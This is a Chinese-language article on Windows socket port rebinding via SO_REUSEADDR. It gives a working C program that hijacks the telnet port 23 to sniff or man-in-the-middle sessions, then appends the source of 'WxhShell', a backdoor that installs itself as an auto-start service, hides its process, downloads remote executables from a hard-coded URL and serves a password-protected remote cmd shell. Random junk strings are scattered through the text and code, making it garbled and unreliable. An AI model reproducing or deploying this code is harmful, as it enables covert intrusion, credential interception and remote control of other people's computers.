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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ER+[gT1CQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); * UC^&5: @ XMC$s saddr.sin_family = AF_INET; {HeMdGn9 kOO2 ?L|Z saddr.sin_addr.s_addr = htonl(INADDR_ANY); ly@CX((W E*vi@aI bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KhvCkQMI@ x1h!_^(QfF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =JkSq J)? XRkqMq% 这意味着什么?意味着可以进行如下的攻击: b`mEnI
VIz Pc<ZfO # 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P+a&R<Dj4 RB2u1]l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e{=$4F o~B=[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "cx" d: Y/gCtSF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 2S3F]fG0 B!0[LlF+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y\x<!_&D Cpl)byb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q I}Zg)q] sr4K-|@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ORNE>6J
H y- YYDEl #include sQw-#f7t #include Sk-Ti\ #include E_P]f% #include BKk*<WMD DWORD WINAPI ClientThread(LPVOID lpParam); tq[C"| dH int main() #@G2n@Hj { [Pay<]c6g WORD wVersionRequested; (,>`\\ DWORD ret; |d$aISO` WSADATA wsaData; N~Gh>{N BOOL val; W+vm!7wX0 SOCKADDR_IN saddr; )%6v~,'3Y SOCKADDR_IN scaddr; |j;`;"+B int err; 6tM{cK%v1 SOCKET s; -kO=pYP*O SOCKET sc; ocvBKsfhE` int caddsize; D c^d$gh HANDLE mt; 7^1ikmYY DWORD tid; [0$Y@ek[ wVersionRequested = MAKEWORD( 2, 2 ); `?:'_Ki err = WSAStartup( wVersionRequested, &wsaData ); 0)Z7U$ if ( err != 0 ) { o?>)CAo printf("error!WSAStartup failed!\n"); N{'k
]& return -1; 4d O>L" } u4Sa4o saddr.sin_family = AF_INET; T!n<ya! S}<(9@]z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q]\xO/ 'EQAG' YV saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =vWnqF: saddr.sin_port = htons(23);
=~)n,5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2
UgjH { F~:5/-zs printf("error!socket failed!\n"); b$BUo8O} return -1; z9gZ/d } *\>& val = TRUE; #Xc~3rg9 //SO_REUSEADDR选项就是可以实现端口重绑定的 ^0 t`EZ$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N4Ym[l { JO$0Z printf("error!setsockopt failed!\n"); rpvm].4 return -1; L:31toGK } _T1e##Sq, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y
Le5, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :sf;Fq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ixp %aRRP ;J4_8N- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `f(!i mN { *]rV,\z: ret=GetLastError(); %V$^CWOy printf("error!bind failed!\n"); hX^XtIC= return -1; W uQdz&s> } *Q)+Y&qn listen(s,2); \(u P{,ML while(1) + 7Z%N9 { NIgt"o[I caddsize = sizeof(scaddr); S+He //接受连接请求 SXhJz=h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vK$W)(Z if(sc!=INVALID_SOCKET) dCinbAQ { d00r&Mc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9O|m#&wa] if(mt==NULL) @?t) UE { b_B4 printf("Thread Creat Failed!\n"); L
U7. break; (*p |Kzu } hfY2pG9N } !l}es4~.a CloseHandle(mt); @E}4LTB } se?nx7~ closesocket(s); _H-Lt{k WSACleanup(); ;2U`?" return 0; 2JbCYCTC } ej0q*TH. DWORD WINAPI ClientThread(LPVOID lpParam) D;Z\GnD { dfNNCPu]+ SOCKET ss = (SOCKET)lpParam; Wg#>2)> SOCKET sc; <h^vl-L> unsigned char buf[4096]; 0s(G*D2%6 SOCKADDR_IN saddr; 8garRB{ long num; ~; MRQE DWORD val; lwV#j}G DWORD ret; f>Ge
Em~ //如果是隐藏端口应用的话,可以在此处加一些判断 ec{pWzAe //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 5y.kOe4vH saddr.sin_family = AF_INET; |kjk{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Tfj%Sb,zM
saddr.sin_port = htons(23); 5YRa2#d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AH ;h#dT { PJ);d>tz printf("error!socket failed!\n"); V
]Z{0 return -1; gI[xOK# } q$\KE4v" val = 100; 7r:!HmRl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?(E$|A { /:B!hvpw ret = GetLastError(); >2%!=q3) return -1; R@;kYS } |TkO'QN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |A"zxNeS" { xw`Pq6 ret = GetLastError(); gx3arVa return -1; <_h } "zv?qS if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ty7xjIs { ^W;\faG printf("error!socket connect failed!\n"); _/hWzj=q closesocket(sc); W<\KRF$S; closesocket(ss); Fvg>>HVu return -1; ,XR1N$LN8_ } 3~Ah8, while(1) [V
=O$X_ { p?ICZg: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xse8fGs //如果是嗅探内容的话,可以再此处进行内容分析和记录 8^kw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dtJ?J<m} num = recv(ss,buf,4096,0); {"-uaH>, if(num>0) g%Eb{~v send(sc,buf,num,0); G8j$&1`: else if(num==0) G{)2f&< break; ttgb"Wb%S num = recv(sc,buf,4096,0); qEE
V& if(num>0) r"c<15g2' send(ss,buf,num,0); Ubv<3syR' else if(num==0) ;~F&b:CyG break; NsPt1_Y8 } Zh,(/-XN; closesocket(ss); ]U82A**n closesocket(sc); x= X"4Mj0) return 0 ; @w?hXK= } (}
?")$. qi!+Ceo} /GRkQ", ========================================================== DJR_"8 e-Mei7{% 下边附上一个代码,,WXhSHELL MDAJ
p>o g\:(1oY ========================================================== kIrb;bZ+l ?cF`T/z]" #include "stdafx.h" H85JMPZ7
Mh3Tfp #include <stdio.h> jnho*,X #include <string.h> 5o2w)<d! #include <windows.h> Yv>kToa\^ #include <winsock2.h> bi~1d"j #include <winsvc.h> Cl&YN}t5 #include <urlmon.h> "n'kv!?\ LD/NMb #pragma comment (lib, "Ws2_32.lib") (ZSd7qH" #pragma comment (lib, "urlmon.lib") wNl{,aH@ Kjzo>fIC{ #define MAX_USER 100 // 最大客户端连接数 =Z}$X:
$ #define BUF_SOCK 200 // sock buffer l$/.B=] #define KEY_BUFF 255 // 输入 buffer , Ox$W ;S0Kf{DN2 #define REBOOT 0 // 重启 ?sD4S #define SHUTDOWN 1 // 关机 &Ql$7:r Vq$8!#~w #define DEF_PORT 5000 // 监听端口 > zA*W<g G{CKb{ #define REG_LEN 16 // 注册表键长度 N(s5YX7<hd #define SVC_LEN 80 // NT服务名长度 ;|U
!\Xp
w#}[=jy // 从dll定义API x/NjdK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '2XIeR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z_f^L %J0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f*o+g:]3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {f"oqry_g Z2a~1BL // wxhshell配置信息 WYJH+"@%j struct WSCFG { g~p43sVV int ws_port; // 监听端口 QZ&
4W char ws_passstr[REG_LEN]; // 口令 cS#yfN, int ws_autoins; // 安装标记, 1=yes 0=no L9{y1'') char ws_regname[REG_LEN]; // 注册表键名 B_mT[)ut char ws_svcname[REG_LEN]; // 服务名 %-fQ[@5 char ws_svcdisp[SVC_LEN]; // 服务显示名 F/
o }5H char ws_svcdesc[SVC_LEN]; // 服务描述信息 UMUG~P&@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q@ua
G,6 int ws_downexe; // 下载执行标记, 1=yes 0=no hh!4DHv char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" O!se-h5mW8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vN&(__3(( !mH
!W5& }; v`hn9O S-5O$EnD // default Wxhshell configuration IFsh"i
struct WSCFG wscfg={DEF_PORT, 0oQJ}8t "xuhuanlingzhe", sm Kp3_r 1, ka/>jV" "Wxhshell", n|fKwWB\ "Wxhshell", `*WzHDv5p "WxhShell Service", &G!~@\tMg "Wrsky Windows CmdShell Service", Dy&{PeE! "Please Input Your Password: ", GC`/\~TM 1, 0SR[)ma " http://www.wrsky.com/wxhshell.exe", -e O>d} "Wxhshell.exe" J@A^k1B }; GXi)3I% 3tW}a`z9 // 消息定义模块 ''($E/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s14D(:t( char *msg_ws_prompt="\n\r? for help\n\r#>"; !t[;~`d9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; .oM;D~(=9 char *msg_ws_ext="\n\rExit."; T_[5 ZYy char *msg_ws_end="\n\rQuit."; iD.p KG char *msg_ws_boot="\n\rReboot..."; xFcW%m>9C char *msg_ws_poff="\n\rShutdown..."; MU4BAN char *msg_ws_down="\n\rSave to "; O03F@v >}B53.;.k char *msg_ws_err="\n\rErr!"; Ap~6Vu char *msg_ws_ok="\n\rOK!"; CF6qEG6 h.\p+Qw. char ExeFile[MAX_PATH]; (coaGQ@d int nUser = 0; \0K&2' HANDLE handles[MAX_USER]; ~x[(1 int OsIsNt; ,#bT {113B) SERVICE_STATUS serviceStatus; =QIu3%& SERVICE_STATUS_HANDLE hServiceStatusHandle; OepQ Z|2 fZ(k"*\MZ // 函数声明 ^U);MH8 int Install(void); _q4Yq'dI int Uninstall(void); k(xB%>ns int DownloadFile(char *sURL, SOCKET wsh); *TrpW?]Y& int Boot(int flag); WD5jO9Oai void HideProc(void); - _~\d+>w int GetOsVer(void); _0y]U];ce int Wxhshell(SOCKET wsl); \~r_S void TalkWithClient(void *cs); *to#ZMR;! int CmdShell(SOCKET sock); lk[u int StartFromService(void); .$1S-+(kV int StartWxhshell(LPSTR lpCmdLine); Q3'P<"u 8K@e8p( y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (1[Z#y[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~.#57g F" 3v&Shb?xb; // 数据结构和表定义 >}/T&S SERVICE_TABLE_ENTRY DispatchTable[] = b~{nS,_Rn { P~V ^Efz{ {wscfg.ws_svcname, NTServiceMain}, a|DCpU} {NULL, NULL} BQv*8Hg
B6 }; @wVDe\% , kX*.BZI}C // 自我安装 HIvSh6|0p int Install(void) S2 P9C" { Q91mCP~$ char svExeFile[MAX_PATH]; 0Ag2zx HKEY key; [(vV45(E strcpy(svExeFile,ExeFile); X@/wsW(kM\ e5w0}/yW/ // 如果是win9x系统,修改注册表设为自启动 -k%|sqDZj if(!OsIsNt) { V<U9Pj^?^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '*`1uomeo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6I|9@~!y[ RegCloseKey(key); er@.<Dc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |-%dN }O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RF~c/en RegCloseKey(key); :>jzL8 return 0; Ss1&fZoj } }_Y\6fcd } Y+EwBg)co } (m')dSZ else { Bi0&F1ZC! @-ir // 如果是NT以上系统,安装为系统服务 g}BS:#$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "rrE_ if (schSCManager!=0) d1NKVMeWr { /1hcw|cfC SC_HANDLE schService = CreateService y#nyH0U ( Vp8!-[R schSCManager, oP:OurX8V wscfg.ws_svcname, uK[gI6M wscfg.ws_svcdisp, DRRy5+,I SERVICE_ALL_ACCESS, [h.i,%Ua"P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;F/s!bupCM SERVICE_AUTO_START, +@do<2l] SERVICE_ERROR_NORMAL, ;v~xL!uQ svExeFile, |jKFk.M NULL, zB6&),[,v NULL, QQ99sy NULL, \'B%lXh NULL, F[X;A\ NULL yq` ,) ); u}jC$T>2%6 if (schService!=0) HZ89x|Hk_ { KPa@~rU CloseServiceHandle(schService); 1+ V<-I@{ CloseServiceHandle(schSCManager); &Z+.FTo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TEbE-h0)] strcat(svExeFile,wscfg.ws_svcname); W"s)s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *#B"%;Ln RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2K2*UC`f RegCloseKey(key); fBPJ8VY return 0; %;O# y3, } N&W7g#F } l,
-q:8 CloseServiceHandle(schSCManager); px^brzLQo } Rm@F9D[, } rU7t~DKS 0"u=g)3 return 1; K$-|7tJon } rmdG"s R)9FXz$). // 自我卸载 9~}8?kPNw= int Uninstall(void) ^I!gteU; { w6'8L s HKEY key; KI5099 _/ jq+:&8!8(e if(!OsIsNt) { ;}AcyVV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y67i\U>? RegDeleteValue(key,wscfg.ws_regname); s;:quM RegCloseKey(key); P)hawH= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \V9);KAOj RegDeleteValue(key,wscfg.ws_regname); =L}$#Y8? RegCloseKey(key); q<A,S8'm return 0; *q(HW } yx/qp<= } E=~Ahkg } avH3{V else { -o sxKT: uszMzO~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R]_fe4Y0 if (schSCManager!=0) Py#iC#g~ { "4i_} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K.\- if (schService!=0) 7R".$ p { 8R.`* if(DeleteService(schService)!=0) { ?a-}1A{
CloseServiceHandle(schService); LY(h>` CloseServiceHandle(schSCManager); kA&ul return 0; 0d=<^wLi^ } DZ0\pp?S CloseServiceHandle(schService); WWWfQ_u2 } 74*iF'f?c CloseServiceHandle(schSCManager); '#x<Fo~hT } ?C9>bKo*2H } |)u|@\{ W[j7Vi8v return 1; =u]FKY } g].hL 7S9Q{ // 从指定url下载文件 6 0Obek` int DownloadFile(char *sURL, SOCKET wsh) vW4N[ .+ { 9
!qVYU42( HRESULT hr; 8?7:sfc char seps[]= "/"; 15FGlO<< char *token; _Uz}z#jt char *file; wh;E\^',n char myURL[MAX_PATH]; JP<Z3
A2q char myFILE[MAX_PATH]; ; i><03 =F}e>D
strcpy(myURL,sURL); +(<}`!9M* token=strtok(myURL,seps); K06/ D!RD4 while(token!=NULL) [0G>=h@u { AFSFXPl
" file=token; e?D,=A4mV" token=strtok(NULL,seps); z[wk-a+w } Ma3Hn \l leO|m GetCurrentDirectory(MAX_PATH,myFILE); 2O5yS strcat(myFILE, "\\"); G{ $Zg strcat(myFILE, file); N7xkkAS{ send(wsh,myFILE,strlen(myFILE),0); /vB%gqJvX send(wsh,"...",3,0); +6{KrREX) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P( W8XC if(hr==S_OK) .W&rcqy return 0; r(yb%p+ else ~>)GW return 1; .j4IW3) Sk$XC } |C S[>0mV! 'vTD7a^ // 系统电源模块 sh?Dxodp9 int Boot(int flag) XI,F^K { !`='K
+ HANDLE hToken; 3P p*ID TOKEN_PRIVILEGES tkp; p$@=N6)I.k qhpq\[U6in if(OsIsNt) { 9ffRY,1@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \'"q6y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ki^[~JS>' tkp.PrivilegeCount = 1; 1)NX;CN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eeb8v:4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vVLR9"rHM if(flag==REBOOT) { j>R7OGg' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W9V%Xc`LQ return 0; BoIe<{X(9 } e= "/oo else { &H5
6mL{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zAB-kE\) return 0; m$hSL4N } XW]|Mv[M } _zm<[0( else { !1"~tA!+p= if(flag==REBOOT) { wQnr*kyza if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Mm0bqNN return 0; rT}d<cSf } ieS5*@^k else { PD/JXExK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2#W%-- return 0; V|? } 05pCgI}F> } S%xGXmZ 9f l !CG return 1; 7P|(j<JX6' } JG}U,{7( }>frK#S // win9x进程隐藏模块 gi;V~>kh void HideProc(void) aeBth{ { y'yaCf Rb#Z\e}e- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bR&hI9`%F if ( hKernel != NULL ) i,yK&*>JJ { "F[VqqD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #{
Uk4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4qm5`o\hb FreeLibrary(hKernel); Y?%6af+ } @#Xzk?+ o!\O) return; $yFur[97C } A&t'uY6 B-&J]H // 获取操作系统版本 ?4lAL int GetOsVer(void) i*U\~CZjT { Z(}x7j zW OSVERSIONINFO winfo; +j@|D@z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [#9ij3vxd GetVersionEx(&winfo); |[{;*wtv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SpkVV/ return 1;
40c#zCE else 'Yd%Tb|* return 0; dIpt&nH&$ } EhD|\WLx! k=~?!+p7 // 客户端句柄模块 h
|lQTT int Wxhshell(SOCKET wsl) Txfb-f!mv\ { f^%E]ki SOCKET wsh; I Mv^ 9T: struct sockaddr_in client; _N-7H\hF DWORD myID; VmUM_Q~ q!H3JL while(nUser<MAX_USER) 0zTv'L { ~<Lf@yu-{ int nSize=sizeof(client); "=".ne wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XsG]-Cw if(wsh==INVALID_SOCKET) return 1; 5PPy+36<~ $>h#|?*? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |v1 K@ if(handles[nUser]==0) G/8xS= closesocket(wsh); $@Ay0GEI" else ,m"ztu- nUser++; N{`l?t0I } M|v.5l# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GVfu_z? L$Leo6<3a return 0; 1`}fbX;"m) } \G= E%aK I|j tpv} // 关闭 socket Xou#38&p> void CloseIt(SOCKET wsh) x ?V/3zW { b$
x"&& closesocket(wsh); wr$}AX nUser--; &53#`WgJ ExitThread(0); d=#p w*w } ^kl9U+ hKTg~y^ // 客户端请求句柄 'iVo,m[yKU void TalkWithClient(void *cs) Fkz { ];I| _fXo% bF KPV%` SOCKET wsh=(SOCKET)cs; )a^Yor)o" char pwd[SVC_LEN]; r9M={jC char cmd[KEY_BUFF]; g&Z7h4!\ char chr[1]; |g7h#F~ int i,j; Ft7a\vn*B ya{>= while (nUser < MAX_USER) { +hg\DqO^M HLe^| if(wscfg.ws_passstr) { aVP|:OAj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xo@YTol //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 <KtI7 //ZeroMemory(pwd,KEY_BUFF); Su"_1~/2S i=0; ^2r}_AX while(i<SVC_LEN) { +?iM$}8!U pIu H*4Vz // 设置超时 %<?ciU fd_set FdRead; #eC;3Kq#- struct timeval TimeOut; w"v'dU^ FD_ZERO(&FdRead); v1C.\fL FD_SET(wsh,&FdRead); b.4Xn0-M TimeOut.tv_sec=8; DnHAm q] TimeOut.tv_usec=0; eFSC^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rh`.$/^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &ZE\@Vc cIr1"5POXK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HJ qQlEq pwd =chr[0]; _?s %MNaX if(chr[0]==0xd || chr[0]==0xa) { hRr1#'& pwd=0; DvX3/z#T break; }{8Fo4/ } W3/ 7BW` i++; Ao":9r[V } lmQ 6X 5w3 ZUmjO // 如果是非法用户,关闭 socket 5}eQaW48 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h4anr7g{ } CofH}- VkpHzr[k send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L"foL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ole|J =dM.7$6) R while(1) { 0zbLc% ZCQ<%f ZeroMemory(cmd,KEY_BUFF); >{m2E8U0 <jUrE[x // 自动支持客户端 telnet标准 JzMZB"Z? j=0; f<89$/w while(j<KEY_BUFF) { k(EMp1[:nN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W7L+8LU; cmd[j]=chr[0]; &Vt2be* if(chr[0]==0xa || chr[0]==0xd) { 8?7kIin cmd[j]=0; .Z=Ce! break; yW\XNX } pp~3@_)b j++; 2@ 9pr } gF[6c`-s o\ngR\> // 下载文件 ZBX if(strstr(cmd,"http://")) { ?MC(}dF0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); B6bOEPQ if(DownloadFile(cmd,wsh)) EZ"bW send(wsh,msg_ws_err,strlen(msg_ws_err),0); \sK:W|yy else f=ac I|w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 53
@oP } QsF4Dl else { hq<5lE^ S_!hsY switch(cmd[0]) { pkX v.D` 4xm&pQo{V6 // 帮助 /_V'DJV case '?': { 2sKG(^=Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y4#y34We break; -bypuMQ-p } -(*nSD9 // 安装 BhKO_wQ?:J case 'i': { H]s4% 9T if(Install()) {odA[H send(wsh,msg_ws_err,strlen(msg_ws_err),0); *z0K%@M else &p5&=zV} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3bH~';< break; T2wv0sHlt } 4O!E|/`wO // 卸载 <_9!
case 'r': { c/
_yMN if(Uninstall()) :zlpfm2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2F1ZAl else Fn!SGX~kx$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
EX:{EmaT break; ivfXat- } zmI5"K"'F // 显示 wxhshell 所在路径 I}+;ME|<2 case 'p': { p1D()- char svExeFile[MAX_PATH]; LeSHRoD strcpy(svExeFile,"\n\r"); 1Bg_FPu strcat(svExeFile,ExeFile); (SF1y/g@= send(wsh,svExeFile,strlen(svExeFile),0); H`-=?t break; MiJ6 n[iv } ]>D)# // 重启 <F7V=Er case 'b': { R:/ha(+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WmNYO,> if(Boot(REBOOT)) t?{B_Bf send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'T7 x@a`b) else { e1unzpWN closesocket(wsh); \ZSTKi? ExitThread(0); rB%y6P B } |SQ|qbe= break; H4:ZTl_$ } < Dd% // 关机 W"Q!|#;l. case 'd': { E-fr}R} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LkBZlh_ if(Boot(SHUTDOWN)) #~k[ 6YR 0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); \iru7'S else { s<vs:jna closesocket(wsh); :CaTP% GW ExitThread(0); ]p]UTCo!' } Hx
%$X break; ?TpUf } / p)F>WR // 获取shell Zu21L3 case 's': { b9Y_!Qe CmdShell(wsh); - $JO8'TP closesocket(wsh); >w.'KR0L ExitThread(0); 1fFj:p./l_ break; LjaGyj>) } `~h4D(n` // 退出 #`ls)-`7 case 'x': { _KN/@(+F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {.CMD9F[ CloseIt(wsh); 40#9]=;} break; SEM8`lnu } C\Vg{&' // 离开 [2
zt ^ case 'q': { 5~+XZA#2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); XE rUS80 closesocket(wsh); ?Elg?)os WSACleanup(); V8PLFt; exit(1); "DQ'C%sL9 break; ^Ga&}- } =X1?_~} } jL>:>r } 8W+5)m.tp 2)
?q58 // 提示信息 t-7og;^8k if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p[v#EyoC } 9(, @aZ } \+nGOvM 3`F) AWzdr return; =Z,5$6%) } M#,Q
^rH# j6g@tx^)' // shell模块句柄 8=;k" int CmdShell(SOCKET sock) 'bu )M1OLi { >t <pFh STARTUPINFO si; OP! R[27> ZeroMemory(&si,sizeof(si)); #E$X,[ZFo si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9}P"^N si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gy"%R-j7 PROCESS_INFORMATION ProcessInfo; kV&9`c+ char cmdline[]="cmd"; u[oUCTY CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S%mfs!E> return 0; Ug%_@t/? } jQh^WmN 5[gh|I;D // 自身启动模式 !EBY@ Y1 int StartFromService(void) 0Scm?l3 { \9{F5Sz typedef struct 6GL=)0Ah { T!2=*~A DWORD ExitStatus; jqnCA<G~B- DWORD PebBaseAddress; D'_Bz8H!p DWORD AffinityMask; }< 5F DWORD BasePriority; C~4PE>YtTv ULONG UniqueProcessId; %.HJK ULONG InheritedFromUniqueProcessId; zsXpA0~3s } PROCESS_BASIC_INFORMATION;
